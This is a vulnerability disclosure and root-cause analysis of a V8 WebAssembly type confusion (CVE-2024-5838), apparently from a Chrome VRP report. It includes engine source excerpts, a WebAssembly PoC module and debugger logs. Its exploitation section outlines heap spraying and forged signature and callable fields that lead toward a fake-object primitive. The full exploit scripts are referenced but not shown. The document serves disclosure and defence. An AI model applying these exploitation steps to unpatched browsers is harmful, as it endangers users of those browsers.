Type Confusion in V8 (CVE-2024-5838)
A WebAssembly module that exports an imported JavaScript function and passes it to WebAssembly.promising causes V8 to treat a WasmTrustedInstanceData object as a WasmApiFunctionRef, a type confusion. An attacker could use this to read protected pointers and, with heap spraying, control a register and crash the engine, with the report suggesting further exploitation is possible.
Originally disclosed on Chrome VRP
- Fix shipped in 19 days
VULNERABILITY DETAILS
INTRODUCE
After bisect, it was determined that following commit caused this problem.
-
Commit Info
- Version: 93460
- link: https://crrev.com/63a58875aea33190ef982d254d10f5700463f49a
-
Commit Message
commit 63a58875aea33190ef982d254d10f5700463f49a Author: Thibaud Michaud <[email protected]> Date: Thu Apr 18 15:56:35 2024 +0200 [wasm][jspi] Introduce WA.promising and WA.Suspending In the revised API, WebAssembly.promising and WebAssembly.Suspending replace WebAssembly.Function(..., {promising: 'first'}) and WebAssembly.Function(..., {suspending: 'first'}) respectively. WebAssembly.Suspending is a constructor. It returns a new object type which is not callable but can be imported into module. WebAssembly.promising returns a regular WasmExportedFunction. [email protected] Bug: v8:14722 Change-Id: I572b8d4bf0597a68dd31ac39241066156c6185ef Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/5454695 Reviewed-by: Andreas Haas <[email protected]> Commit-Queue: Thibaud Michaud <[email protected]> Cr-Commit-Position: refs/heads/main@{#93460}
CRASH LOG
- Debug output
# CMD: /tmp/d8-linux-debug-v8-component-94015/d8 --expose-gc poc.js
# OUTPUT ==============================================================
Received signal 11 SEGV_ACCERR 2b94beadbef6
==== C stack trace ===============================
[0x7f59a639ee53]
[0x7f59a639eda2]
[0x7f59a0642520]
[0x55c92c207964]
[0x7f59a4ebc603]
[0x7f59a2bb0b3b]
[end of stack trace]
POC
WebAssembly code compiled in POC:
(module
(type (;0;) (func (result f32)))
(type (;1;) (func (result f32)))
(import "m" "js" (func $main (;0;) (type 0)))
(export "main" (func $main))
)
Proof of concept in d8: see attached poc.js
RCA
Firstly we export the imported function in the WebAssembly module with the name main and pass the exported function to WebAssembly.promising.
When executing NewPromisingWasmExportedFunction function with the imported |main| function above, the internal->call_target will be Builtins_WasmToJSWrapperAsm here [1], and this function expects to get a arugment which type is WasmApiFunctionRef.
i::Handle<i::JSFunction> NewPromisingWasmExportedFunction(
i::Isolate* i_isolate, i::Handle<i::WasmExportedFunctionData> data,
ErrorThrower& thrower, bool with_suspender_param) {
i::Handle<i::WasmTrustedInstanceData> trusted_instance_data{
data->instance_data(), i_isolate};
int func_index = data->function_index();
i::Handle<i::Code> wrapper =
with_suspender_param ? BUILTIN_CODE(i_isolate, WasmPromisingWithSuspender)
: BUILTIN_CODE(i_isolate, WasmPromising);
// for now `wrapper` is Builtins_WasmPromising
int sig_index =
trusted_instance_data->module()->functions[func_index].sig_index;
// TODO(14034): Create funcref RTTs lazily?
...
int num_imported_functions =
trusted_instance_data->module()->num_imported_functions;
// for now `num_imported_functions == 1`
i::Handle<i::ExposedTrustedObject> ref =
func_index >= num_imported_functions
? trusted_instance_data
: i::Handle<i::ExposedTrustedObject>::cast(
i_isolate->factory()->NewWasmApiFunctionRef(handle(
i::WasmApiFunctionRef::cast(
trusted_instance_data->dispatch_table_for_imports()
->ref(func_index)),
i_isolate)));
// for now, the type of `ref` is NewWasmApiFunctionRef and ref to the imported js function.
i::Handle<i::WasmInternalFunction> internal =
i_isolate->factory()->NewWasmInternalFunction(ref, func_index);
i::Handle<i::WasmFuncRef> func_ref =
i_isolate->factory()->NewWasmFuncRef(internal, rtt);
internal->set_call_target(trusted_instance_data->GetCallTarget(func_index)); // <-- [1]
// for now, internal->call_target is Builtins_WasmToJSWrapperAsm
// and this function is expected to get a WasmApiFunctionRef argument.
// ...
i::Handle<i::JSFunction> result = i::WasmExportedFunction::New(
i_isolate, trusted_instance_data, func_ref, internal,
static_cast<int>(data->sig()->parameter_count()), wrapper); // <--- [2]
return result;
}
Consider the following function. When v8 try to execute the newly exported function, it will first execute the wrapper WasmPromising and enter into JSToWasmWrapperHelper [3], and finally try to execute WasmReturnPromiseOnSuspendAsm[4].
transitioning javascript builtin WasmPromising(
js-implicit context: NativeContext, receiver: JSAny, target: JSFunction)(
...arguments): JSAny {
JSToWasmWrapperHelper( // <--- [3]
context, receiver, target, arguments, Promise::kPromise);
}
macro JSToWasmWrapperHelper(
context: NativeContext, _receiver: JSAny, target: JSFunction,
arguments: Arguments, promise: constexpr Promise): never {
const functionData =
UnsafeCast<WasmExportedFunctionData>(target.shared_function_info.data);
// Trigger a wrapper tier-up when this function got called often enough.
const switchStack = promise != Promise::kNoPromise; // switchStack == true
...
const trustedInstanceData: WasmTrustedInstanceData =
functionData.instance_data;
...
const callTarget = functionData.internal.call_target; // <-- Builtins_WasmToJSWrapperAsm
...
// We construct a state that will be passed to `JSToWasmWrapperAsm`
// and `JSToWasmHandleReturns`. There are too many parameters to pass
// everything through registers. The stack area also contains slots for
// values that get passed from `JSToWasmWrapperAsm` and
// `WasmReturnPromiseOnSuspendAsm` to `JSToWasmHandleReturns`.
const wrapperBuffer = %RawDownCast<RawPtr<intptr>>(
StackSlotPtr(kWrapperBufferSize, torque_internal::SizeOf<intptr>()));
...
*GetRefAt<RawPtr>(wrapperBuffer, kWrapperBufferCallTarget) = callTarget;
...
// Both `trustedInstanceData` and `resultArray` get passed separately as
// parameters to make them GC-safe. They get passed over the stack so that
// they get scanned by the GC as part of the outgoing parameters of this
// Torque builtin.
let result: JSAny;
if constexpr (switchStack) {
result = WasmReturnPromiseOnSuspendAsm( // <---- [4]
wrapperBuffer, trustedInstanceData, resultArray);
} else {
result =
JSToWasmWrapperAsm(wrapperBuffer, trustedInstanceData, resultArray);
}
....
WasmReturnPromiseOnSuspendAsm function will call JSToWasmWrapperHelper [5] and prepare some params from wrapperBuffer to the current execution stack. However the callsite in [4] will always pass trustedInstanceData to stack, and the call_target (Builtins_WasmToJsWrapperCSA) expects to read a arugment stored in the stack and cast into WasmApiFunctionRef.
So, there will always trigger a type confusion, casting the WasmTrustedInstanceData to WasmApiFunctionRef type.
void Builtins::Generate_WasmReturnPromiseOnSuspendAsm(MacroAssembler* masm) {
JSToWasmWrapperHelper(masm, true); // <--- [5]
}
void JSToWasmWrapperHelper(MacroAssembler* masm, bool stack_switch) {
...
Register wrapper_buffer =
WasmJSToWasmWrapperDescriptor::WrapperBufferRegister();
__ movq(
kWasmInstanceRegister,
MemOperand(rbp, JSToWasmWrapperFrameConstants::kInstanceDataParamOffset));
...
Register call_target = rdi;
...
__ movq(call_target,
MemOperand(wrapper_buffer,
JSToWasmWrapperFrameConstants::kWrapperBufferCallTarget));
Register last_stack_param = rcx;
// The first GP parameter is the instance, which we handle specially.
int stack_params_offset =
(arraysize(wasm::kGpParamRegisters) - 1) * kSystemPointerSize +
arraysize(wasm::kFpParamRegisters) * kDoubleSize;
__ leaq(last_stack_param, MemOperand(params_start, stack_params_offset));
Label loop_start;
__ bind(&loop_start);
Label finish_stack_params;
__ cmpq(last_stack_param, params_end);
__ j(greater_equal, &finish_stack_params);
// Push parameter
__ subq(params_end, Immediate(kSystemPointerSize));
__ pushq(MemOperand(params_end, 0));
__ jmp(&loop_start);
__ bind(&finish_stack_params);
int next_offset = 0;
for (size_t i = 1; i < arraysize(wasm::kGpParamRegisters); ++i) {
// Check that {params_start} does not overlap with any of the parameter
// registers, so that we don't overwrite it by accident with the loads
// below.
DCHECK_NE(params_start, wasm::kGpParamRegisters[i]);
__ movq(wasm::kGpParamRegisters[i], MemOperand(params_start, next_offset));
next_offset += kSystemPointerSize;
}
for (size_t i = 0; i < arraysize(wasm::kFpParamRegisters); ++i) {
__ Movsd(wasm::kFpParamRegisters[i], MemOperand(params_start, next_offset));
next_offset += kDoubleSize;
}
DCHECK_EQ(next_offset, stack_params_offset);
Register thread_in_wasm_flag_addr = r12;
__ movq(
thread_in_wasm_flag_addr,
MemOperand(kRootRegister, Isolate::thread_in_wasm_flag_address_offset()));
__ movl(MemOperand(thread_in_wasm_flag_addr, 0), Immediate(1));
__ call(call_target); // <--- Call Target Builtins_WasmToJSWrapperAsm
...
}
Exploitation
In this section, We'll show how we're expanding the destructive surface through type confusion and the possibility of exploitation.
When executing the POC, v8 will finally arrive Builtins_WasmToJSWrapper and treat the passed WasmTrustedInstanceData as WasmApiFunctionRef.
@export
transitioning macro WasmToJSWrapper(ref: WasmApiFunctionRef): WasmToJSResult {
const oldSP = SwitchToTheCentralStackIfNeeded(ref.callable);
dcheck(Is<WasmApiFunctionRef>(ref));
...
Following code shows the memory layout of WasmTrustedInstanceData, which holds protected pointers to some Trusted object [6].
// The trusted part of a WebAssembly instance.
// This object lives in trusted space and is never modified from user space.
class V8_EXPORT_PRIVATE WasmTrustedInstanceData : public ExposedTrustedObject {
public:
DECL_CAST(WasmTrustedInstanceData)
DECL_ACCESSORS(instance_object, Tagged<WasmInstanceObject>)
DECL_ACCESSORS(native_context, Tagged<Context>)
DECL_ACCESSORS(memory_objects, Tagged<FixedArray>)
DECL_OPTIONAL_ACCESSORS(untagged_globals_buffer, Tagged<JSArrayBuffer>)
DECL_OPTIONAL_ACCESSORS(tagged_globals_buffer, Tagged<FixedArray>)
DECL_OPTIONAL_ACCESSORS(imported_mutable_globals_buffers, Tagged<FixedArray>)
// tables: FixedArray of WasmTableObject.
DECL_OPTIONAL_ACCESSORS(tables, Tagged<FixedArray>)
DECL_PROTECTED_POINTER_ACCESSORS(dispatch_table_for_imports, // <--- [6]
WasmDispatchTable)
DECL_ACCESSORS(imported_mutable_globals, Tagged<FixedAddressArray>)
DECL_PROTECTED_POINTER_ACCESSORS(shared_part, WasmTrustedInstanceData) // <--- [6]
DECL_PROTECTED_POINTER_ACCESSORS(dispatch_table0, WasmDispatchTable) // <--- [6]
DECL_PROTECTED_POINTER_ACCESSORS(dispatch_tables, ProtectedFixedArray) // <--- [6]
DECL_OPTIONAL_ACCESSORS(tags_table, Tagged<FixedArray>)
DECL_ACCESSORS(func_refs, Tagged<FixedArray>)
DECL_ACCESSORS(managed_object_maps, Tagged<FixedArray>)
DECL_ACCESSORS(feedback_vectors, Tagged<FixedArray>)
DECL_ACCESSORS(well_known_imports, Tagged<FixedArray>)
DECL_PRIMITIVE_ACCESSORS(memory0_start, uint8_t*)
DECL_PRIMITIVE_ACCESSORS(memory0_size, size_t) // <---- [11]
...
class V8_EXPORT_PRIVATE WasmTrustedInstanceData : public ExposedTrustedObject {
// Layout description.
#define FIELD_LIST(V) \
/* Often-accessed fields go first to minimize generated code size. */ \
/* Less than system pointer sized fields come first. */ \
V(kProtectedDispatchTable0Offset, kTaggedSize) \
V(kProtectedDispatchTableForImportsOffset, kTaggedSize) \
V(kImportedMutableGlobalsOffset, kTaggedSize) \
/* Optional padding to align system pointer size fields */ \
V(kOptionalPaddingOffset, POINTER_SIZE_PADDING(kOptionalPaddingOffset)) \
V(kMemory0StartOffset, kSystemPointerSize) \
V(kMemory0SizeOffset, kSizetSize) // <---- [11]
The memory base address that holds trusted objects is not the same as the memory base address that holds regular heap objects. However, due to the pointer compression mechanism, the memory base address of a pointer is not directly related to its four-byte value in memory; the conversion process from the four-byte value to the actual 8-byte pointer is handled by the holder.
However, the memory layout on WasmApiFunctionRef is as follows:
extern class WasmApiFunctionRef extends ExposedTrustedObject {
native_context: NativeContext; // <----- [7]
callable: JSReceiver|Undefined; // <----- [7]
// Present when compiling JSFastApiCall wrappers, needed
// to load memory start/size fields.
// TODO(jkummerow): This should probably point to WasmTrustedInstanceData.
instance: WasmInstanceObject|Undefined;
suspend: Smi; // Boolean.
wrapper_budget: Smi;
call_origin: Smi|WasmFuncRef|Tuple2;
// The signature is needed for the generic wasm-to-js wrapper.
sig: PodArrayOfWasmValueType; // <----- [8]
// This field is used by the WasmToOnHeapWasmToJSTrampoline.
@if(V8_ENABLE_SANDBOX) code: IndirectPointer<Code>;
@ifnot(V8_ENABLE_SANDBOX) code: Code;
}
@useParentTypeChecker
type PodArrayOfWasmValueType extends ByteArray
constexpr 'PodArray<wasm::ValueType>'; //<------[8]
Because of the vulnerability that allows attacker to confuse WasmTrustedInstanceData as WasmApiFunctionRef, when v8 tries to get the above callable or native_context fields [7], these fields correspond to the protected pointer part of the WasmTrustedInsta object.
For example, when v8 attempts to read WasmApiFunctionRef.callable (non protected ptr), the read position will actually correspond to the WasmTrustedInstanceData.dispatch_table_for_imports(protected ptr).
This can cause some interesting things, consider the following example:
- assume the address of
WasmTrustedInstanceData.dispatch_table_for_importsis 0xab..(base<protected>) + 0x11223344 (four-byte-offset stored in memory) == 0xab..11223344. - Due to type confusion, v8 try to explain the offset
0x11223344asWasmApiFunctionRef.callableand calculate the address as 0xef..(base<non-protected>) + 0x11223344 (four-byte-offset stored in memory) == 0xef..11223344
As a result, we can cause further type confusion by heap spraying to placeholder to these key fields [7].
We did this successfully in commit e46fda4d27a9505c3f4fe70a27eee71a2bd1c593 with the following patch to demonstrate the exploitation by simply printing out more addresses:
diff --git a/src/builtins/wasm-to-js.tq b/src/builtins/wasm-to-js.tq
index ed428a9c96e..3a211ec9038 100644
--- a/src/builtins/wasm-to-js.tq
+++ b/src/builtins/wasm-to-js.tq
@@ -52,6 +52,8 @@ macro HandleF32Returns(
@export
transitioning macro WasmToJSWrapper(ref: WasmApiFunctionRef): WasmToJSResult {
+ Print(ref);
+ Print(ref.callable);
const oldSP = SwitchToTheCentralStackIfNeeded(ref.callable);
dcheck(Is<WasmApiFunctionRef>(ref));
// Spill the signature on the stack so that it can be read by the GC. This is
By running the attached exp.js, we have successfully occupied a region of memory with the same last four bytes as WasmTrustedInstanceData.dispatch_table_for_imports(0x266200000000 + 0x00049a41)[9], but with a different base address (0x2b200000000 + 0x00049941)[10]:
DebugPrint: 0x2b200049aa1: [JSArray]
- map: 0x02b20018d095 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x02b20018ca09 <JSArray[0]>
- elements: 0x02b200049941 <FixedDoubleArray[43]> [PACKED_DOUBLE_ELEMENTS]
- length: 43
- properties: 0x02b200000725 <FixedArray[0]>
- All own properties (excluding elements): {
0x2b200000d99: [String] in ReadOnlySpace: #length: 0x02b20028818d <AccessorInfo name= 0x02b200000d99 <String[6]: #length>, data= 0x02b200000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
- elements: 0x02b200049941 <FixedDoubleArray[43]> { // <--- [10]
0-42: 1.1
}
...
DebugPrint: 0x266200049a81: [WasmTrustedInstanceData]
...
- dispatch_table_for_imports: 0x266200049a41 <WasmDispatchTable[1]> // <--- [9]
...
And finally trigger SEGV in $rax + $rcx + 7, where $rax is the memory base address and $rcx has been successfully controlled by us:
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x0000555556896f17 in v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&) ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
*RAX 0x2b200000000 ◂— 0x40940
RBX 0x555557f77540 —▸ 0x555557d93098 (vtable for v8::internal::StdoutStream+24) —▸ 0x5555567d4200 (v8::internal::StdoutStream::~StdoutStream()) ◂— push rbp
*RCX 0x9999999a
RDX 0xc
RDI 0x7fffffffcc58 —▸ 0x2b200049a41 ◂— 0x9a3ff19999999999
RSI 0x555557f77540 —▸ 0x555557d93098 (vtable for v8::internal::StdoutStream+24) —▸ 0x5555567d4200 (v8::internal::StdoutStream::~StdoutStream()) ◂— push rbp
R8 0x555557f77598 —▸ 0x555557d930c0 (vtable for v8::internal::StdoutStream+64) —▸ 0x5555567d4600 (virtual thunk to v8::internal::StdoutStream::~StdoutStream()) ◂— push rbp
R9 0x20
R10 0x7ffff41fddd8 ◂— 0x2
*R11 0xafc527c8e4c063c3
R12 0x555557dea728 (vtable for std::__Cr::basic_ios<char, std::__Cr::char_traits<char> >+16) —▸ 0x555557b9e530 (std::__Cr::basic_ios<wchar_t, std::__Cr::char_traits<wchar_t> >::~basic_ios()) ◂— push rbp
R13 0x555557e2f388 (v8::internal::MainCage::base_) —▸ 0x2b200000000 ◂— 0x40940
*R14 0x2b200049a41 ◂— 0x9a3ff19999999999
*R15 0x2b200049a40 ◂— 0x3ff199999999999a
RBP 0x7fffffffcc40 —▸ 0x7fffffffcc70 —▸ 0x7fffffffcca0 —▸ 0x7fffffffcce0 —▸ 0x7ffff41fddf8 ◂— ...
RSP 0x7fffffffcc10 —▸ 0x555557f77540 —▸ 0x555557d93098 (vtable for v8::internal::StdoutStream+24) —▸ 0x5555567d4200 (v8::internal::StdoutStream::~StdoutStream()) ◂— push rbp
RIP 0x555556896f17 (v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+39) ◂— movzx eax, word ptr [rax + rcx + 7]
────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
► 0x555556896f17 <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+39> movzx eax, word ptr [rax + rcx + 7]
0x555556896f1c <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+44> cmp ax, 0x7f
0x555556896f20 <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+48> ja v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+213 <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+213>
0x555556896f26 <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+54> mov rdi, r15
0x555556896f29 <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+57> or rdi, 1
0x555556896f2d <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+61> lea rdx, [rip - 0x67971d]
0x555556896f34 <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+68> mov rsi, rbx
0x555556896f37 <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+71> call v8::internal::(anonymous namespace)::PrintHeapObjectHeaderWithoutMap(v8::internal::Tagged<v8::internal::HeapObject>, std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&, char const*) <v8::internal::(anonymous namespace)::PrintHeapObjectHeaderWithoutMap(v8::internal::Tagged<v8::internal::HeapObject>, std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&, char const*)>
0x555556896f3c <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+76> lea rsi, [rip - 0x6025bb]
0x555556896f43 <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+83> mov edx, 2
0x555556896f48 <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+88> mov rdi, rbx
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffcc10 —▸ 0x555557f77540 —▸ 0x555557d93098 (vtable for v8::internal::StdoutStream+24) —▸ 0x5555567d4200 (v8::internal::StdoutStream::~StdoutStream()) ◂— push rbp
01:0008│-028 0x7fffffffcc18 —▸ 0x2b200049a41 ◂— 0x9a3ff19999999999
02:0010│-020 0x7fffffffcc20 —▸ 0x555557dea728 (vtable for std::__Cr::basic_ios<char, std::__Cr::char_traits<char> >+16) —▸ 0x555557b9e530 (std::__Cr::basic_ios<wchar_t, std::__Cr::char_traits<wchar_t> >::~basic_ios()) ◂— push rbp
03:0018│-018 0x7fffffffcc28 —▸ 0x7ffff7e1b860 (stderr) —▸ 0x7ffff7e1b6a0 (_IO_2_1_stderr_) ◂— 0xfbad2086
04:0020│-010 0x7fffffffcc30 —▸ 0x555557f77540 —▸ 0x555557d93098 (vtable for v8::internal::StdoutStream+24) —▸ 0x5555567d4200 (v8::internal::StdoutStream::~StdoutStream()) ◂— push rbp
05:0028│-008 0x7fffffffcc38 ◂— 0xfffb65be
06:0030│ rbp 0x7fffffffcc40 —▸ 0x7fffffffcc70 —▸ 0x7fffffffcca0 —▸ 0x7fffffffcce0 —▸ 0x7ffff41fddf8 ◂— ...
07:0038│+008 0x7fffffffcc48 —▸ 0x555556896e54 (void v8::internal::Print<(v8::internal::HeapObjectReferenceType)1, unsigned long>(v8::internal::TaggedImpl<(v8::internal::HeapObjectReferenceType)1, unsigned long>, std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+196) ◂— add rsp, 0x10
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x555556896f17 v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+39
1 0x555556896e54 void v8::internal::Print<(v8::internal::HeapObjectReferenceType)1, unsigned long>(v8::internal::TaggedImpl<(v8::internal::HeapObjectReferenceType)1, unsigned long>, std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+196
2 0x555556da6037 v8::internal::DebugPrintImpl(v8::internal::Tagged<v8::internal::MaybeWeak<v8::internal::Object> >, std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+119
3 0x555556d94e3b v8::internal::Runtime_DebugPrint(int, unsigned long*, v8::internal::Isolate*)+331
4 0x555557a64d49 Builtins_WasmCEntry+137
───────────────────────────────────────────────────────────────────────────────────────────[ THREADS (49 TOTAL) ]───────────────────────────────────────────────────────────────────────────────────────────
► 1 "d8" stopped: 0x555556896f17 <v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+39>
2 "V8 DefaultWorke" stopped: 0x7ffff7c91117 <__futex_abstimed_wait_cancelable64+231>
3 "V8 DefaultWorke" stopped: 0x7ffff7c91117 <__futex_abstimed_wait_cancelable64+231>
4 "V8 DefaultWorke" stopped: 0x7ffff7c91117 <__futex_abstimed_wait_cancelable64+231>
Not showing 45 thread(s). Use set context-max-threads <number of threads> to change this.
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/20wx 0x2b200049a41-1
0x2b200049a40: 0x9999999a 0x3ff19999 0x9999999a 0x3ff19999
0x2b200049a50: 0x9999999a 0x3ff19999 0x9999999a 0x3ff19999
0x2b200049a60: 0x9999999a 0x3ff19999 0x9999999a 0x3ff19999
0x2b200049a70: 0x9999999a 0x3ff19999 0x9999999a 0x3ff19999
0x2b200049a80: 0x9999999a 0x3ff19999 0x9999999a 0x3ff19999
Also, because of the vulnerability that allows attacker to confuse WasmTrustedInstanceData as WasmApiFunctionRef, when v8 tries to get the above sig fields [8], these fields correspond to the memory0_size [11] part of the WasmTrustedInstanceData object.
By creating memory in the module, the 1 here represents one page of memory, which specifically means 65,536 bytes. Since sig is a BytesArray, it is pointer-compressed. Therefore, when accessing ref.sig, it will actually access v8_base_addr + 0x10000.
(module
...
(memory $0 1)
(export "memory" (memory $0))
)
pwndbg> job 0x1d5e00049a91
0x1d5e00049a91: [WasmTrustedInstanceData]
- map: 0x2dde00001f3d <Map[200](WASM_TRUSTED_INSTANCE_DATA_TYPE)>
...
- memory0_size: 65536
pwndbg> x/60wx 0x1d5e00049a91-1
0x1d5e00049a90: 0x00001f3d 0x00431800 0x00049a85 0x00049a51
0x1d5e00049aa0: 0x00000ec1 0x00000000 0xfffffffe 0x00002ea7
0x1d5e00049ab0: 0x00010000--> memory0_size 0x00000000
───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
...
*R12 0x21c200010000 ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────
► 0x555557a5b138 <Builtins_WasmToJsWrapperCSA+248> mov r15d, dword ptr [r12 + 3]
By running the poc, debugging it, it will crash at [12].
@export
transitioning macro WasmToJSWrapper(ref: WasmApiFunctionRef): WasmToJSResult {
const oldSP = SwitchToTheCentralStackIfNeeded(ref.callable);
dcheck(Is<WasmApiFunctionRef>(ref));
// Spill the signature on the stack so that it can be read by the GC. This is
// done in the very beginning before a GC could be triggered.
// Caller FP + return address.
const sigSlot = LoadFramePointer() + kSignatureOffset;
*GetRefAt<intptr>(sigSlot, 0) = BitcastTaggedToWord(ref.sig);
const alignment: intptr =
StackAlignmentInBytes() / torque_internal::SizeOf<intptr>();
// 3 fixed slots, rounded up to stack alignment.
const numFixedSlots = ((2 + alignment) / alignment) * alignment;
ModifyThreadInWasmFlag(0);
// Trigger a wrapper tier-up when this function got called often enough.
dcheck(ref.wrapper_budget > 0);
ref.wrapper_budget = ref.wrapper_budget - 1;
if (ref.wrapper_budget == 0) {
runtime::TierUpWasmToJSWrapper(kNoContext, ref);
}
const signaturePod = &ref.sig.bytes; // ------>[12]
By observing the value of r12, we can see that this is indeed the case. Therefore, we can modify the page_number in (memory $0 page_number) to move the address of r12 to memory we control. We can start from the V8 heap base address and increment by 0x10000 each step, so this is clearly not difficult. This allows us to completely forge the contents of sig, which is a BytesArray.
Since the fields used by WasmToJSWrapper via ref can actually be controlled by us, we can control the function we ultimately call by forging ref.callable [13]. Additionally, we can forge the function signature by faking ref.sig.bytes.
This means that when parameters are fetched from the Wasm stack, we can forge an incorrect signature to have it maliciously interpreted, such as using a double as an object [14]. This allows us to achieve fake objects primitive.
@export
transitioning macro WasmToJSWrapper(ref: WasmApiFunctionRef): WasmToJSResult {
const oldSP = SwitchToTheCentralStackIfNeeded(ref.callable);
dcheck(Is<WasmApiFunctionRef>(ref));
// Spill the signature on the stack so that it can be read by the GC. This is
// done in the very beginning before a GC could be triggered.
// Caller FP + return address.
const sigSlot = LoadFramePointer() + kSignatureOffset;
*GetRefAt<intptr>(sigSlot, 0) = BitcastTaggedToWord(ref.sig);
const alignment: intptr =
StackAlignmentInBytes() / torque_internal::SizeOf<intptr>();
// 3 fixed slots, rounded up to stack alignment.
const numFixedSlots = ((2 + alignment) / alignment) * alignment;
ModifyThreadInWasmFlag(0);
// Trigger a wrapper tier-up when this function got called often enough.
dcheck(ref.wrapper_budget > 0);
ref.wrapper_budget = ref.wrapper_budget - 1;
if (ref.wrapper_budget == 0) {
runtime::TierUpWasmToJSWrapper(kNoContext, ref);
}
const signaturePod = &ref.sig.bytes;
const serializedSig = torque_internal::unsafe::NewConstSlice<int32>(
signaturePod.object, signaturePod.offset,
signaturePod.length / torque_internal::SizeOf<int32>());
const returnCount =
Convert<intptr>(*torque_internal::unsafe::NewReference<int32>(
serializedSig.object, serializedSig.offset));
dcheck(returnCount < serializedSig.length);
const paramCount: intptr = serializedSig.length - returnCount - 1;
const returnTypes = Subslice(serializedSig, Convert<intptr>(1), returnCount)
otherwise unreachable;
const paramTypes = Subslice(serializedSig, returnCount + 1, paramCount)
otherwise unreachable;
// The number of parameters that get pushed on the stack is (at least) the
// number of incoming parameters plus the receiver.
const numStackParams = paramCount + 1;
const outParams = WasmAllocateZeroedFixedArray(numStackParams);
let nextIndex: intptr = 0;
// Set the receiver to `Undefined` as the default. If the receiver would be
// different, e.g. the global proxy for sloppy functions, then the CallVarargs
// builtin takes care of it automatically
outParams.objects[nextIndex++] = Undefined;
// Caller FP + return address + fixed slots.
const stackParamStart = LoadFramePointer() +
(2 + numFixedSlots) * torque_internal::SizeOf<intptr>();
const inParams = torque_internal::unsafe::NewOffHeapReference(
%RawDownCast<RawPtr<intptr>>(stackParamStart));
let locationAllocator = LocationAllocatorForParams(inParams);
let paramIt = paramTypes.Iterator();
let hasTaggedParams: bool = false;
while (!paramIt.Empty()) {
const paramType = paramIt.NextNotEmpty();
if (paramType == kWasmI32Type) {
const slot = locationAllocator.GetGPSlot();
let val: int32;
if constexpr (kIsBigEndian) {
val = TruncateInt64ToInt32(*RefCast<int64>(slot));
} else {
val = *RefCast<int32>(slot);
}
outParams.objects[nextIndex++] = Convert<Number>(val);
} else if (paramType == kWasmF32Type) {
const slot = locationAllocator.GetFP32Slot();
let val: float32;
if constexpr (kIsFpAlwaysDouble) {
if (locationAllocator.GetRemainingFPRegs() >= 0) {
val = TruncateFloat64ToFloat32(*RefCast<float64>(slot));
} else {
val = *RefCast<float32>(slot);
}
} else if constexpr (kIsBigEndianOnSim) {
if (locationAllocator.GetRemainingFPRegs() >= 0) {
val = BitcastInt32ToFloat32(
TruncateInt64ToInt32(*RefCast<int64>(slot) >> 32));
} else {
val = *RefCast<float32>(slot);
}
} else {
val = *RefCast<float32>(slot);
}
outParams.objects[nextIndex++] = Convert<Number>(val);
} else if (paramType == kWasmI64Type) {
if constexpr (Is64()) {
const slot = locationAllocator.GetGPSlot();
const val = *slot;
outParams.objects[nextIndex++] = I64ToBigInt(val);
} else {
const lowWordSlot = locationAllocator.GetGPSlot();
const highWordSlot = locationAllocator.GetGPSlot();
const lowWord = *lowWordSlot;
const highWord = *highWordSlot;
outParams.objects[nextIndex++] = I32PairToBigInt(lowWord, highWord);
}
} else if (paramType == kWasmF64Type) {
const slot = locationAllocator.GetFP64Slot();
const val = *RefCast<float64>(slot);
outParams.objects[nextIndex++] = Convert<Number>(val);
} else {
const paramKind = paramType & kValueTypeKindBitsMask;
